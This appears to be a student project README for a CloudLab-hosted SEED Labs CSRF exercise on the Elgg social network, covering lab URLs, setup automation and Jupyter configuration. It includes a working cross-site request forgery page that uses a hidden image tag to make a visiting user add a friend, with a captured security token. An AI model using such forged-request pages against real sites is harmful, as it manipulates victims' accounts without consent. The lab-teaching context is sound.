Link to the instantiation on CloudLab:

https://www.cloudlab.us/status.php?uuid=b77235e4-ffe9-11e8-b0b1-90e2ba22fee4

Jupyter URLS:

http://clnodevm024-1.clemson.cloudlab.us:8888

http://130.127.132.212:8888

Default Web Page URLs:

http://clnodevm024-1.clemson.cloudlab.us/

http://130.127.132.212/

CSRF Page URLs:

http://clnodevm024-1.clemson.cloudlab.us/CSRF/Elgg/

http://130.127.132.212/CSRF/Elgg/

Link to the GitHub repository:

https://github.com/bwal213/CSC_302_Team_project

The project seems to work up to the point of Elgg behaving as intended. However we have noticed during testing that the Cross Site Request we must create needed to include the token as well. This could be due to security features being reenabled when Elgg was reinstalled to work with the newer versions of php that are installed during setup. When I checked apt, there was no listing of previous versions of php to install.

The code we used during the successful attack is as follows:

```
<html>
<head></head>
<body>
<h1>SPOOKED >:D </h1>
<img src="http://images.clipartpanda.com/ghost-clip-art-halloween-ghost-clipart-4-280x374.89932885906.jpg">

<img
src="http://130.127.132.212/CSRF/Elgg/action/friends/add?friend=43&__elgg_ts=1544831870&__elgg_token=HTl1fsTTA0A8-k4kgMRITA" alt="image" width="1" height="1">
```

```
</body>
</html><!-- Boby-43   Admin-36   Alice-42-->
```

The limited research I did, revealed that Elgg, does add security features to try and prevent attacks from occurring. I suspect that when installing the new version, I added these security features back. It will need to be looked into how to disable them or just use a token like we have above. The current instantiation will install Elgg, and all necessary software for it to function. It configures it so that it is auto setup in the background and users just need to visit it at the IP to be able to log in. Jupyter now works with corrected permissions, it is set up with the class repository already there, and the nohup output in the user root directory. Conda should also work ok, I have encountered limited issues during testing, but this could be due to me installing software with it during setup, then trying to install it again, from jupyter terminal. Overall it seems to be workable, but could use some polishing. I have tried to add instructions and comments to the profile to help in the future. Much of the size of the profile is due to files stolen from SEED Labs. This includes multiple folders, the original zip files are also included. I needed to create a system variable used a various times during setup for the IP of the machine. Also I have commands that will search files and replace strings of text with other text using sed. As well there are specific places in the database that needs to be changed to point back to the current machine, as it still retains the original lab address. This has all been automated due to how I have observed it working. The site tends to only work via the IP. But can be access with the machine URL, just when trying to log in clicking the top of page text or trying to log in will take you to the page at the IP. Please email me at BW840606@wcupa.edu or bwal213@gmail.com with further questions.